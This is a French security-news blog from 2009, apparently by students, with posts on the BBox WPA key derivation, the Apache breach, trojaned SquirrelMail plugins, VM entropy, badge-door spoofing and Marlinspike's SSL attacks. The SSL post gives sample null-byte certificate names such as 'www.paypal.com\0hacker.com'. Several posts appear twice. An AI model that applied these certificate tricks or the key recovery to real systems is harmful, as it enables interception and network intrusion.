En 2008, un dénommé Kevin Devine avait réussi à retrouver l'algorithme de génération des clés WPA sur les routeurs Thomson Speedtouch, permettant ainsi de récupérer une liste de clés potentielles pour un routeur particulier.
Le 20 septembre dernier, un administrateur du site crack-wpa.fr a fait part d'une faille dans les BBox, également fabriquées par Thomson. Il apparait que les clés WPA par défaut font toutes 10 caractères, et sont dérivées du numéro de série de la box. Une légère adaptation de l'algorithme cité précédemment permet ainsi de retrouver la clé WPA par défaut !
L'outil, nommé BBkeys, ainsi que de plus amples explications sont disponibles ici.
Une fois de plus, cela montre qu'il faut toujours changer les mots de passes/clés par défaut, même si elles sont censées être "aléatoires".
mercredi 23 septembre 2009
dimanche 6 septembre 2009
c'est la rentrée dans le fort Apache
Et oui, la fondation Apache, pourtant réputée attachée à la sécurité et rigoureuse, à été infiltrée. Ils ont pris la peine (souvent douloureuse à annoncer) de faire toute la transparence sur l'incident pour que, disent ils, les autres apprennent aussi de leurs erreurs. Le déroulement de l'attaque est assez astucieux et je vous invite à lire l'article complet sur the register, pour les fainéants voici un résumé:
L'attaquant a su profiter de la fenêtre entre la sortie du patch et son application. Apache reconnait deux erreurs ayant permis cette attaque: une clé SSH commune aux machines de backup et l'utilisation d'execCGI.
Bien sur les admins, ont de suite fait les changements nécessaires et ont même renforcé un peu plus, ainsi on note:
l'ajout d'OTP (mots de passe à usage unique) pour les sudo des comptes avec des privilèges, une gestion encore plus strictes des connexions autorisées entre les machines.
Ils ont de même pu rapidement tout remettre en place grâce à l'usage de redondance dans les services et de ZFS
En tout cas on saluera leur démarche de transparence qui permet non seulement de voir ce qu'on pu faire les attaquants,comment et avec quelles conséquences, mais surtout de voir aussi qu'ils n'ont pas eu accès à des information sensibles :) .
[Il faut savoir que la fondation pratique l'hétérogénéité des systèmes, ce qui limite les élévations de privilèges et la profondeur d'une attaque. Un attaquant est obligé d'avoir des exploits nécessaires pour passer de machine en machine et encore, à condition qu'ils existent. si les systèmes utilisés sont tous les mêmes, l'attaquant n'a qu'a avoir le bon exploits, il fonctionnera partout.]
- L'attaque débute par la compromission du serveur apachecon.com. Surement par l'exploitation des quelques failles noyaux permettant de passer root localement et dont les patchs tout récents (7jours) n'avaient pas encore été appliqués. Surement, car ce n'est qu'une supposition, les logs ont été détruits.
- Une fois root, il aurait utilisé la clé SSH d'un compte de backup pour se connecter à people.apache.org
- Partie intéressante de l'attaque, le pirate n'ayant qu'un compte limité, a déposé des scripts CGI à la racine de certains site permettant d'ouvrir un shell, etc...
- Il n'a alors plus eu qu'a attendre la procédure de backup. cette dernière s'est chargée de copier les scripts sur les serveurs de prod, ce que lui ne pouvait pas faire... (oh le fourbe)
- Une fois sur les serveurs de prod, les scripts se sont retrouvés directement accessibles via le net.->pwned
L'attaquant a su profiter de la fenêtre entre la sortie du patch et son application. Apache reconnait deux erreurs ayant permis cette attaque: une clé SSH commune aux machines de backup et l'utilisation d'execCGI.
Bien sur les admins, ont de suite fait les changements nécessaires et ont même renforcé un peu plus, ainsi on note:
l'ajout d'OTP (mots de passe à usage unique) pour les sudo des comptes avec des privilèges, une gestion encore plus strictes des connexions autorisées entre les machines.
Ils ont de même pu rapidement tout remettre en place grâce à l'usage de redondance dans les services et de ZFS
En tout cas on saluera leur démarche de transparence qui permet non seulement de voir ce qu'on pu faire les attaquants,comment et avec quelles conséquences, mais surtout de voir aussi qu'ils n'ont pas eu accès à des information sensibles :) .
[Il faut savoir que la fondation pratique l'hétérogénéité des systèmes, ce qui limite les élévations de privilèges et la profondeur d'une attaque. Un attaquant est obligé d'avoir des exploits nécessaires pour passer de machine en machine et encore, à condition qu'ils existent. si les systèmes utilisés sont tous les mêmes, l'attaquant n'a qu'a avoir le bon exploits, il fonctionnera partout.]
jeudi 13 août 2009
Oh, peine, Office !
La suite Microsoft Office sera-t-elle interdite aux states ? Un juge Texan a prononcé sa sentence mardi dernier, lors d'une affaire de violation de brevet. La société canadienne i4i accuse ainsi la firme de Redmond (Microsoft quoi) de violer un brevet qu'elle a déposé en 1998, relatif aux formats XML.
Sachant que Word 2003 et 2007 (et 2010) se basent sur les formats .docx qui reposent sur du XML, le juge a fixé à 290 millions de dollars les dommages et intérêts.
Face à cette interdiction un peu gênante, Microsoft compte bien faire appel : preuves à l'appui, ils estiment n'avoir violé aucun brevet, et qualifient même d'invalide celui revendiqué par i4i.
En fin de compte, Office n'est pas la seule suite à se baser sur des formats XML, à ma connaissance toutes autres les suites existantes le sont : OpenOffice et ses dérivés et ancêtres, KOffice, etc. Que va-t-il donc se passer pour tous ces logiciels libres ou non, dont les développeurs n'ont surement pas les moyens de payer de telles indemnités ?
Est-ce la fin du monde des suites bureautiques ?
[Source]
Sachant que Word 2003 et 2007 (et 2010) se basent sur les formats .docx qui reposent sur du XML, le juge a fixé à 290 millions de dollars les dommages et intérêts.
Face à cette interdiction un peu gênante, Microsoft compte bien faire appel : preuves à l'appui, ils estiment n'avoir violé aucun brevet, et qualifient même d'invalide celui revendiqué par i4i.
En fin de compte, Office n'est pas la seule suite à se baser sur des formats XML, à ma connaissance toutes autres les suites existantes le sont : OpenOffice et ses dérivés et ancêtres, KOffice, etc. Que va-t-il donc se passer pour tous ces logiciels libres ou non, dont les développeurs n'ont surement pas les moyens de payer de telles indemnités ?
Est-ce la fin du monde des suites bureautiques ?
[Source]
Apple ferme les yeux...
... surement pour se protéger des éclats de verre que peuvent projeter certains iPhones. L'actu se retrouve partout dans les medias, mais en tant qu'experts en sécurité, on rigole bien en voyant ça. Après des failles logicielles, les produits vendus par Apple sont victimes de surchauffes ou d'(ex|im)plosions, comme c'est le cas récemment pour deux iPhones.
Il y a donc manifestement une vulnérabilité sur les écrans de ces téléphones : peut-être à cause d'une surchauffe due à une housse (ou pas), les écrans peuvent se fissurer, voire projeter des éclats de verre. Là encore, Apple semble démentir et incriminer des chocs dus aux utilisateurs... qui de leur côté affirment que leur joujou explose sans qu'on ait fait tomber de pommes dessus.
Des cas de dysfonctionnement ont été recensés de nombreuses fois, souvent à cause de batteries au lithium défectueuses. Des rappels massifs ont déjà été faits il y a quelques années, mais l'histoire continue encore et encore...
Avis aux possesseurs, il vaut mieux surveiller votre téléphone, et s'il commence à faire des bruits bizarres, n'hésitez pas à le lancer sur votre boss. Après tout, l'iPhone est peut-être voué à devenir la prochaine arme des Corses ou d'Al-Qaïda ?
[Source]
Il y a donc manifestement une vulnérabilité sur les écrans de ces téléphones : peut-être à cause d'une surchauffe due à une housse (ou pas), les écrans peuvent se fissurer, voire projeter des éclats de verre. Là encore, Apple semble démentir et incriminer des chocs dus aux utilisateurs... qui de leur côté affirment que leur joujou explose sans qu'on ait fait tomber de pommes dessus.
Des cas de dysfonctionnement ont été recensés de nombreuses fois, souvent à cause de batteries au lithium défectueuses. Des rappels massifs ont déjà été faits il y a quelques années, mais l'histoire continue encore et encore...
Avis aux possesseurs, il vaut mieux surveiller votre téléphone, et s'il commence à faire des bruits bizarres, n'hésitez pas à le lancer sur votre boss. Après tout, l'iPhone est peut-être voué à devenir la prochaine arme des Corses ou d'Al-Qaïda ?
[Source]
lundi 10 août 2009
british fail
Désolé pour le retard, mais une info qui vaut le coup d'être relayée sur ce blog.
La nouvelle carte d'identité britannique, qui avait déjà fait parler d'elle pour les sommes colossales qu'elle avait engloutie pour rien. En effet, sa réalisation a couté tellement d'argent que les autorités britannique avaient exclu le développement de lecteurs spécifiques pour la carte. Juste une puce sans lecteur, ça s'annonçait déjà bien. Les choses ont avancé et les voilà avec une carte d'identité complètement altérable en 12minutes!!11
prévoir 5milliard pour équiper les gens d'une carte hackable si c'est pas de l'epic fail ca o_O.
avec en bonus la mauvaise foi du home office :) (lisez l'article en anglais)
La nouvelle carte d'identité britannique, qui avait déjà fait parler d'elle pour les sommes colossales qu'elle avait engloutie pour rien. En effet, sa réalisation a couté tellement d'argent que les autorités britannique avaient exclu le développement de lecteurs spécifiques pour la carte. Juste une puce sans lecteur, ça s'annonçait déjà bien. Les choses ont avancé et les voilà avec une carte d'identité complètement altérable en 12minutes!!11
prévoir 5milliard pour équiper les gens d'une carte hackable si c'est pas de l'epic fail ca o_O.
avec en bonus la mauvaise foi du home office :) (lisez l'article en anglais)
It had seen “no evidence” that personal data was accessible or changeable, and the card had "excellent" security, the Home Office said.bref vous trouverez à présent différents articles un peu partout, mais si vous avez la flemme de chercher, en voici un (en francais en plus :) ca faisait longtemps) et un en anglais un peu plus "direct".
mercredi 5 août 2009
Quand l'écureuil part en cahuète...
Une bonne nouvelle pour les gens qui utilisent le webmail squirrelMail. Eh oui en plein dans le mille, c'est le cas de notre école donc vous aussi!
Le serveur du projet s'était un peu fait rentrer dedans mi-juin(ou peut être bien avant même) par des gens tout plein de bonnes intentions :). Après avoir constaté les dégâts, les administrateurs ont innocemment expliqué que "C'est bon, les gens ont pas fait ça pour toucher au code". Ouf! on l'a échappé belle.
Nous voici donc début août et là qu'est ce qu'on apprend? que trois plug-ins ont été modifiés lors de cette attaque. Lesquels me direz vous et l'intérêt?
Les nouveaux modules sont bien entendu dispos avec des hashs pour vérifier leur intégrité. En attendant, vu l'assiduité aux mises à jour de l'école je ne pense pas qu'on ai à s'inquiéter de quoique ce soit ^^.
le site de squirrelMail, l'article
Le serveur du projet s'était un peu fait rentrer dedans mi-juin(ou peut être bien avant même) par des gens tout plein de bonnes intentions :). Après avoir constaté les dégâts, les administrateurs ont innocemment expliqué que "C'est bon, les gens ont pas fait ça pour toucher au code". Ouf! on l'a échappé belle.
Nous voici donc début août et là qu'est ce qu'on apprend? que trois plug-ins ont été modifiés lors de cette attaque. Lesquels me direz vous et l'intérêt?
- sasql-3.2.0
- multilogin-2.4-1.2.9
- change_pass-3.0-1.4.0
The new versions steal passwords, among other things, and send them to an offsite server.Bref toute les versions mises à jour depuis personne-sait-trop-quand n'étaient ni plus ni moins que des collecteurs de mot de passes.
Les nouveaux modules sont bien entendu dispos avec des hashs pour vérifier leur intégrité. En attendant, vu l'assiduité aux mises à jour de l'école je ne pense pas qu'on ai à s'inquiéter de quoique ce soit ^^.
le site de squirrelMail, l'article
mardi 4 août 2009
cloud computing: trop dans les nuages?
Je vais aujourd'hui m'attarder sur une présentation d'Alex Stamos au blackhat 2009 concernant le cloud computing. Pas de réelle vulnérabilité ou d'exploit fantastique mais des considérations sur la sécurité qui valent la réflexion:
Il semblerait que la génération de nombres aléatoires, un problème réglé depuis des années, en redevienne un.
En effet, pour petit rappel, l'ordinateur utilise les périphériques bas niveau pour collecter des données aléatoires. Il se sert ensuite de ce "réservoir" pour obtenir des nombres "vraiment" aléatoires (donc quasiment non prédictibles). Mais le cloud computing serait en train de changer la donne:
Là ou un pc utilise les mouvements de la souris et les touches du claviers pour collecter de l'aléatoire, un serveur ne possède rien de cela. Il peut toutefois utiliser les mouvements du disque dur comme source d'aléa. Mais qu'en est il d'un serveur virtualisé? N'ayant pas accès aux matériels physiques, il ne lui reste que la mesure du temps exacte depuis sa mise en route, ce qui est bien peu et pas assez pour générer des nombres robustes.
Bien sur plus le temps passe et plus les ressources d'éléments aléatoires sont importantes. Mais Alex Stamos s'intéresse aux machines générées à la volée pour une tache particulière. Ces dernières sont éphémère et d'après lui n'ont pas le temps d'atteindre des seuils raisonnables de ressources aléatoire.
Il imagine ainsi un scénario où l'attaquant se crée une machine sur un serveur. Le peu d'entropie l'aidera grandement dans la prédiction des nombres aléatoires et réduira ainsi considérablement le temps de crackage du chiffrement des autres machines virtualisé.
Ce n'est bien sur à l'heure actuelle que de l'extrapolation, mais loin d'être une chimère ce fait mérite d'y porter attention. Juste en petit exemple du défaut d'entropie des systèmes virtualisés je vous cite un commentaire du dernier article:
ca laisse songeur n'est ce pas...
Les deux articles (bien plus complets et abordant pour le second d'autres problèmes que l'aléa) sur cette conférence: ici et là
Il semblerait que la génération de nombres aléatoires, un problème réglé depuis des années, en redevienne un.
En effet, pour petit rappel, l'ordinateur utilise les périphériques bas niveau pour collecter des données aléatoires. Il se sert ensuite de ce "réservoir" pour obtenir des nombres "vraiment" aléatoires (donc quasiment non prédictibles). Mais le cloud computing serait en train de changer la donne:
Là ou un pc utilise les mouvements de la souris et les touches du claviers pour collecter de l'aléatoire, un serveur ne possède rien de cela. Il peut toutefois utiliser les mouvements du disque dur comme source d'aléa. Mais qu'en est il d'un serveur virtualisé? N'ayant pas accès aux matériels physiques, il ne lui reste que la mesure du temps exacte depuis sa mise en route, ce qui est bien peu et pas assez pour générer des nombres robustes.
Bien sur plus le temps passe et plus les ressources d'éléments aléatoires sont importantes. Mais Alex Stamos s'intéresse aux machines générées à la volée pour une tache particulière. Ces dernières sont éphémère et d'après lui n'ont pas le temps d'atteindre des seuils raisonnables de ressources aléatoire.
Il imagine ainsi un scénario où l'attaquant se crée une machine sur un serveur. Le peu d'entropie l'aidera grandement dans la prédiction des nombres aléatoires et réduira ainsi considérablement le temps de crackage du chiffrement des autres machines virtualisé.
Ce n'est bien sur à l'heure actuelle que de l'extrapolation, mais loin d'être une chimère ce fait mérite d'y porter attention. Juste en petit exemple du défaut d'entropie des systèmes virtualisés je vous cite un commentaire du dernier article:
The same problem (lack of randomness) may also affect IP sequence number generation for virtual machines. A quick nmap scan of a Fedora Core 10 system running as a VM ends with:
TCP Sequence Prediction: Difficulty=0 (Trivial joke)
but the same host running Fedora Core 11 natively gives:
TCP Sequence Prediction: Class=random positive increments
Difficulty=939462 (Good luck!)
Cheers,
Dave
ca laisse songeur n'est ce pas...
Les deux articles (bien plus complets et abordant pour le second d'autres problèmes que l'aléa) sur cette conférence: ici et là
lundi 3 août 2009
defcon: la sécu, c'est aussi physique
Un billet au sujet du Defcon cette fois ci, sur le bypass de sécurité physique suivant deux aspects. Le premier concerne le travail réalisé par Ricky Lawshae. Ce dernier s'est intéressé au système de sécurité des portes à accès par badge dans son université du Texas. Au lieu de s'attaquer au crackage du RFID comme beaucoup, il a eu la bonne idée de regarder au niveau des communications entres les portes. Ces dernières communiquent avec un serveur central qui lui même communique avec un programme chargé de gérer les accès de chacun, lever les alertes, etc.. Intercepter ces communications lui a permis de mettre en évidence une grosse faiblesse du mécanisme: les numéros de séquence de la communication TCP sont très très prédictibles (+40 entre chaque dit-il). Du coup, une personne qui intercepte la commande de déverrouillage d'une porte peut sans problème envoyer une nouvelle requête avec le numéro de séquence approprié et l'ip du centre admin, la porte prendra l'ordre pour tout à fait légitime.
Il faut savoir que ce système est utilisé dans pas mal d'universités et d'hôpitaux américains. L'auteur indique que le constructeur aurait pu rendre cette attaque bancale par la simple randomisation des numéros de séquence ou le chiffrement des commandes. Article original par ici!
L'autre conférence concerne un trio d'experts en verrous: Marc Weber Tobias, Toby Bluzmanis et Matt Fiddler.
Ces derniers se sont penchés sur la sécurité des verrous très haut de gamme utilisés dans les milieux à sécurité très renforcée. Ces verrous combinent sécurité mécanique et électronique: chaque clé possède en bout un micro circuit contant un ID unique. Une puce dans le verrou permet d'autoriser ou non à tourner la clé et en prime permet donc de logger qui est passé, où, et quand. A 600/800$ le verrou et 95$ la clé autant dire qu'il faut vraiment avoir quelque chose de critique à protéger.
Pourtant les 3 experts ont réussi à bypasser la vérification électronique avec une technique de vibration dont ils ne veulent pas donner les détails. Tout du moins, pas avant que le constructeur ait accepté un rappel sans conditions ni frais de tous les verrous vendus. A croire que cette technique va vraiment les rendre obsolètes.
Ce n'est pas tout, lorsqu'un verrou est désactivé non seulement la personne n'est pas identifiée puisqu'ils ont réalisé l'attaque de manière purement mécanique (en retirant la batterie de la clé) mais le verrou reste ouvert. Pour remédier à cela, le constructeur a ajouté un ressort refermant le verrou mais au détriment des contacts pour les broches, placés sur un coté de la clé et qui la rendait très difficilement duplicable tout en ajoutant un control supplémentaire. La présentation devait avoir lieu dimanche mais je n'ai pas trouvé à l'heure actuelle de compte rendu de la conférence. Mais si j'arrive à en apprendre plus sur cette technique de vibration nuls doutes qu'un billet y sera consacré!
l'article original
Il faut savoir que ce système est utilisé dans pas mal d'universités et d'hôpitaux américains. L'auteur indique que le constructeur aurait pu rendre cette attaque bancale par la simple randomisation des numéros de séquence ou le chiffrement des commandes. Article original par ici!
L'autre conférence concerne un trio d'experts en verrous: Marc Weber Tobias, Toby Bluzmanis et Matt Fiddler.
Ces derniers se sont penchés sur la sécurité des verrous très haut de gamme utilisés dans les milieux à sécurité très renforcée. Ces verrous combinent sécurité mécanique et électronique: chaque clé possède en bout un micro circuit contant un ID unique. Une puce dans le verrou permet d'autoriser ou non à tourner la clé et en prime permet donc de logger qui est passé, où, et quand. A 600/800$ le verrou et 95$ la clé autant dire qu'il faut vraiment avoir quelque chose de critique à protéger.
Pourtant les 3 experts ont réussi à bypasser la vérification électronique avec une technique de vibration dont ils ne veulent pas donner les détails. Tout du moins, pas avant que le constructeur ait accepté un rappel sans conditions ni frais de tous les verrous vendus. A croire que cette technique va vraiment les rendre obsolètes.
Ce n'est pas tout, lorsqu'un verrou est désactivé non seulement la personne n'est pas identifiée puisqu'ils ont réalisé l'attaque de manière purement mécanique (en retirant la batterie de la clé) mais le verrou reste ouvert. Pour remédier à cela, le constructeur a ajouté un ressort refermant le verrou mais au détriment des contacts pour les broches, placés sur un coté de la clé et qui la rendait très difficilement duplicable tout en ajoutant un control supplémentaire. La présentation devait avoir lieu dimanche mais je n'ai pas trouvé à l'heure actuelle de compte rendu de la conférence. Mais si j'arrive à en apprendre plus sur cette technique de vibration nuls doutes qu'un billet y sera consacré!
l'article original
samedi 1 août 2009
blackhat: comment se jouer de SSL
Premier billet rapportant du blackhat 2009 ou je vais tacher d'aborder le plus simplement possible les moyens de tromper SSL présentés par Moxie Marlinspike. Il faut savoir que ces méthodes reposent sur le laxisme dans l'implémentation du protocole et la configuration des applications l'utilisant. Ainsi la présentation commence par un retour sur les chaines de certifications.
petite déf, pour que tout le monde soit ok ;):
Un CA est une autorité de certification, c'est à dire une entité à qui l'on fait confiance et qui est habilitée à délivrer des certificats signés à d'autres entités, sites etc
Une certificat peut etre assimilé la carte d'identité d'un site, c'est un ensemble d'informations et une clé publique qui permettent au site de prouver que c'est lui par le biais et lors d'échanges cryptographiques
rootCA->CA intermediaire->site(ex: paypal.com)
la verification s'effectue comme suit:
Un des problèmes est que tout le monde se préoccupe des validations de signatures par le CA mais au final, cela nous permet juste de dire que la chaine est valide au sens "complète" (chacun s'est fait valider par une instance supérieure "à priori" de confiance). Ainsi, la chaine suivante est elle aussi valide:
rootCA->intermediaire->hacker.com
si hacker.com décide de signer un certificat valide pour paypal on obtient la chaine:
rootCA->intermediaire->hacker.com->paypal.com
il ne manque qu'une chose: hacker.com n'est pas paypal et par conséquent ne peut pas utiliser son certificat ''pour le site paypal.com''
En fait ce n'est pas tellement un problème et c'est la qu'entrent en jeu les défauts de configurations. La plupart des CA n'explicitant pas la contrainte CA=false pour les sites dont ils signent les certificats, les implémentations de SSL n'ont plus tenu compte de ce champ. Le résultat est évident: n'importe quel site avec un certificat valide peut agir en CA et signer des certificats pour n'importe quel autre domaine! Il suffit que le certificat soit présenté dans une chaine, les navigateurs web se contenteront de valider la chaine entière (soit-disant "chaine de confiance").
L'auteur présente SSLsniff qu'il a mis au point et maintient depuis quelques années.
Avec cet outil, l'attaquant intercepte une connexion standard. Génère et signe avec un quelconque certificat validé un certificat pour le site que voulait visiter la cible. Il n'a plus qu'a fournir la chaine entière au client pour que son browser la valide sans broncher.
L'attaquant peut alors assurer la connexion entre le client et le site légitime en déchiffrant les communications et rechiffrant à l'autre extrémité (ce type d'écoute furtive où l'on ne bloque pas les échanges s'appelle Man In The Middle[MITM]).
Dans la continuité de la présentation Moxie Marlinspike aborde le SSL stripping, cette technique, relativement simple à expliquer, consiste à s'attaquer à SSL AVANT de rencontrer SSL. Comme il l'explique, dans les faits on ne rencontre presque jamais SSL de front, on arrive sur une page sécurisée via un lien (exemple: consulter le panier, confirmer la commande etc...) ou par une redirection 302 (typiquement les webmails: peu de gens se connectent directement en https dessus, c'est le webmail qui redirige sur du https). L'idée est donc d'exploiter cette redirection pour amener la victime sur le site du hacker qui lui présentera le site tel quel. L'attaquant agit ainsi en tant que proxy, mais pour le coup, la liaison entre le client et l'attaquant sera en HTTP(en clair) et le HTTPS ne sera utilisé qu'entre l'attaquant et le siteweb détourné.
dernier élément de contournement: le Certificat x509
il contient 5 informations qui nous intéressent plus que les autres:
Mais là encore, ce n'est pas un problème, et pour nous en convaincre Moxie retourne dans le passé:
Au début, les démarches d'obtention de certificat étaient tels que Mr Péguillan nous l'a appris pour obtenir des biclés: identification, notaire, appels téléphoniques etc... bref obtenir un certificat pour une entité autre que nous était impossible. A présent c'est plus ou moins 3clics sur le site d'un CA pour s'enregistrer, résultat on peut valider n'importe quel domaine en ligne et obtenir un certificat valide pour ce domaine.
Donc lors de la phase de présentation, le client vérifie le sujet. Cette section du certificat contient de nombreuses informations sous forme arborescente, mais là encore, chacun a utilisé ce qu'il voulait et au final seul le "Common Name" est utilisé pour la validation. Moxie cite Bob Jueneman qui résume très bien la rigueur dans l'utilisation des informations "sujet":
Donc si vous suivez, lors de la présentation du certificat, il suffira de présenter au client un nom (CN) identique au site qu'il veut visiter. D'un autre coté, on peut enregistrer très facilement un nom de domaine et le faire valider pour avoir un certificat.
La solution se trouve dans l'implémentation de SSL, le Common Name est une chaine de caractère, que se passe-t-il si on fournit un certificat pour www.paypal.com\0hacker.com ??
Et oui, c'est là que ça fait mal, à peu près tous les navigateurs vont s'arrêter au caractère null '\0' et interpréter le CN du certificat comme étant www.paypal.com. L'inconvénient et que cela force à faire des attaques très ciblés ou un certificat pour chaque site, pas génial en somme -_-.
Pas de problème rassure Moxie, les implémentations de SSL, tiennent compte des wildcards (caractères joker), et là: C'est le drame! :D
on enregistre un nom de domaine *\0.hacker.com ou *~.hacker.com pour faire signer un certificat valide que l'on peu présenter à la place de n'importe quel site et le navigateur n'y verra que du feu o_O. Il faut savoir qu'il n'y pas que les navigateurs que l'on peut tromper puisque l'on retrouve ssl implémenté dans l'instant messaging (AIM,msn etc..) et les clients de messagerie.
Moxie fini par une réflexion sur ce que l'on pourrait craindre comme réaction:
ce serait vraiment pas de chance si une autorités venait à (ou même réussir à) révoquer des certificats universels ou avec \0 et de là à revoir l'implémentation de ASN.1.... no comment.
voila pour ce looong billet, j'espère avoir été assez clair dans les explications, si vous n'avez pas compris quelque chose n'hésitez pas à me contacter, j'apporterais des compléments en commentaire, pour ceux qui sont à l'aise avec ces notions et veulent en savoir plus (notamment sur le contre d'OCSP par rapport aux révocations de certificats) je vous invite à aller voir la vidéo de la présentation et les slides sur le site du blackhat2009
petite déf, pour que tout le monde soit ok ;):
Un CA est une autorité de certification, c'est à dire une entité à qui l'on fait confiance et qui est habilitée à délivrer des certificats signés à d'autres entités, sites etc
Une certificat peut etre assimilé la carte d'identité d'un site, c'est un ensemble d'informations et une clé publique qui permettent au site de prouver que c'est lui par le biais et lors d'échanges cryptographiques
rootCA->CA intermediaire->site(ex: paypal.com)
la verification s'effectue comme suit:
- le site correspond bien au sujet du certificat
- son certificat n'est pas expiré
- il est bien signé par un CA
- le CA fait partie des tiers de confiance
Un des problèmes est que tout le monde se préoccupe des validations de signatures par le CA mais au final, cela nous permet juste de dire que la chaine est valide au sens "complète" (chacun s'est fait valider par une instance supérieure "à priori" de confiance). Ainsi, la chaine suivante est elle aussi valide:
rootCA->intermediaire->hacker.com
si hacker.com décide de signer un certificat valide pour paypal on obtient la chaine:
rootCA->intermediaire->hacker.com->paypal.com
il ne manque qu'une chose: hacker.com n'est pas paypal et par conséquent ne peut pas utiliser son certificat ''pour le site paypal.com''
En fait ce n'est pas tellement un problème et c'est la qu'entrent en jeu les défauts de configurations. La plupart des CA n'explicitant pas la contrainte CA=false pour les sites dont ils signent les certificats, les implémentations de SSL n'ont plus tenu compte de ce champ. Le résultat est évident: n'importe quel site avec un certificat valide peut agir en CA et signer des certificats pour n'importe quel autre domaine! Il suffit que le certificat soit présenté dans une chaine, les navigateurs web se contenteront de valider la chaine entière (soit-disant "chaine de confiance").
L'auteur présente SSLsniff qu'il a mis au point et maintient depuis quelques années.
Avec cet outil, l'attaquant intercepte une connexion standard. Génère et signe avec un quelconque certificat validé un certificat pour le site que voulait visiter la cible. Il n'a plus qu'a fournir la chaine entière au client pour que son browser la valide sans broncher.
L'attaquant peut alors assurer la connexion entre le client et le site légitime en déchiffrant les communications et rechiffrant à l'autre extrémité (ce type d'écoute furtive où l'on ne bloque pas les échanges s'appelle Man In The Middle[MITM]).
Dans la continuité de la présentation Moxie Marlinspike aborde le SSL stripping, cette technique, relativement simple à expliquer, consiste à s'attaquer à SSL AVANT de rencontrer SSL. Comme il l'explique, dans les faits on ne rencontre presque jamais SSL de front, on arrive sur une page sécurisée via un lien (exemple: consulter le panier, confirmer la commande etc...) ou par une redirection 302 (typiquement les webmails: peu de gens se connectent directement en https dessus, c'est le webmail qui redirige sur du https). L'idée est donc d'exploiter cette redirection pour amener la victime sur le site du hacker qui lui présentera le site tel quel. L'attaquant agit ainsi en tant que proxy, mais pour le coup, la liaison entre le client et l'attaquant sera en HTTP(en clair) et le HTTPS ne sera utilisé qu'entre l'attaquant et le siteweb détourné.
dernier élément de contournement: le Certificat x509
il contient 5 informations qui nous intéressent plus que les autres:
- l'entité qui a délivré le certificat
- la période de validité du certificat
- le sujet (entité a qui il est délivré)
- la clé publique
- la signature du CA
Mais là encore, ce n'est pas un problème, et pour nous en convaincre Moxie retourne dans le passé:
Au début, les démarches d'obtention de certificat étaient tels que Mr Péguillan nous l'a appris pour obtenir des biclés: identification, notaire, appels téléphoniques etc... bref obtenir un certificat pour une entité autre que nous était impossible. A présent c'est plus ou moins 3clics sur le site d'un CA pour s'enregistrer, résultat on peut valider n'importe quel domaine en ligne et obtenir un certificat valide pour ce domaine.
Donc lors de la phase de présentation, le client vérifie le sujet. Cette section du certificat contient de nombreuses informations sous forme arborescente, mais là encore, chacun a utilisé ce qu'il voulait et au final seul le "Common Name" est utilisé pour la validation. Moxie cite Bob Jueneman qui résume très bien la rigueur dans l'utilisation des informations "sujet":
“There is nothing in any of these standards that would prevent me from including a 1 gigabit MPEG movie of me playing with my cat as one of the RDN components of the DN in my certificate."
Donc si vous suivez, lors de la présentation du certificat, il suffira de présenter au client un nom (CN) identique au site qu'il veut visiter. D'un autre coté, on peut enregistrer très facilement un nom de domaine et le faire valider pour avoir un certificat.
La solution se trouve dans l'implémentation de SSL, le Common Name est une chaine de caractère, que se passe-t-il si on fournit un certificat pour www.paypal.com\0hacker.com ??
Et oui, c'est là que ça fait mal, à peu près tous les navigateurs vont s'arrêter au caractère null '\0' et interpréter le CN du certificat comme étant www.paypal.com. L'inconvénient et que cela force à faire des attaques très ciblés ou un certificat pour chaque site, pas génial en somme -_-.
Pas de problème rassure Moxie, les implémentations de SSL, tiennent compte des wildcards (caractères joker), et là: C'est le drame! :D
on enregistre un nom de domaine *\0.hacker.com ou *~.hacker.com pour faire signer un certificat valide que l'on peu présenter à la place de n'importe quel site et le navigateur n'y verra que du feu o_O. Il faut savoir qu'il n'y pas que les navigateurs que l'on peut tromper puisque l'on retrouve ssl implémenté dans l'instant messaging (AIM,msn etc..) et les clients de messagerie.
Moxie fini par une réflexion sur ce que l'on pourrait craindre comme réaction:
ce serait vraiment pas de chance si une autorités venait à (ou même réussir à) révoquer des certificats universels ou avec \0 et de là à revoir l'implémentation de ASN.1.... no comment.
voila pour ce looong billet, j'espère avoir été assez clair dans les explications, si vous n'avez pas compris quelque chose n'hésitez pas à me contacter, j'apporterais des compléments en commentaire, pour ceux qui sont à l'aise avec ces notions et veulent en savoir plus (notamment sur le contre d'OCSP par rapport aux révocations de certificats) je vous invite à aller voir la vidéo de la présentation et les slides sur le site du blackhat2009
jeudi 30 juillet 2009
blackhat c'est parti!
Ca y est, les salons orientés blackhat, Defcon et Blackhat ont commencé, et pour bien ouvrir les festivités les blackhats attaquent fort: si vous voulez un exemple des colonies de vacances des hackers pas éthiques du tout je vous invite à lire (parcourir suffira amplement ^^) le "magazine" qu'ils ont sorti dans la bonne humeur et l'ownage sans pitié. Et oui pour ceux qui l'auront survolé c'est bien violent! Du rm a tout va, des mots de passes qui fusent, des clés privées, bref il fait beau, c'est l'été, c'est la fête! Reste à déterminer si ce document relate bien ce qui a été fait ou s'il y a du fake dans tout ca (en tout cas très bien fait).
Mais fake ou pas, il y a bel et bien eu des dégats, ce fut tout d'abord le cas de binrev, puis beaucoup d'autre sites de whitehats ont été attaqués violemment pour l'ouverture de la conférence et comme vous avez pu le voir dans le document: Mitnik et Kaminsky ont pris très très cher.
Les icones du monde de la sécurité, aujourd'hui white hat, n'ont bénéficié d'aucune pitié. Vous pouvez d'ailleurs retrouver un article à ce sujet sur cnet. En tout cas Mitnick y reconnait la valeur du/des hacker(s) ayant réussi à exploser le serveur de kaminsky.
Bref ce blackhat 2009 commence bien, et promet de belles choses, comme, je le rappelle au passage, une démonstation de la prise de contrôle d'un Iphone sur simple envoi d'un SMS (donc l'utilisateur ne pourra rien y faire) pour ensuite espionner, le faire participer à un réseau de botnet toussa toussa...
à suivre donc :)
Mais fake ou pas, il y a bel et bien eu des dégats, ce fut tout d'abord le cas de binrev, puis beaucoup d'autre sites de whitehats ont été attaqués violemment pour l'ouverture de la conférence et comme vous avez pu le voir dans le document: Mitnik et Kaminsky ont pris très très cher.
Les icones du monde de la sécurité, aujourd'hui white hat, n'ont bénéficié d'aucune pitié. Vous pouvez d'ailleurs retrouver un article à ce sujet sur cnet. En tout cas Mitnick y reconnait la valeur du/des hacker(s) ayant réussi à exploser le serveur de kaminsky.
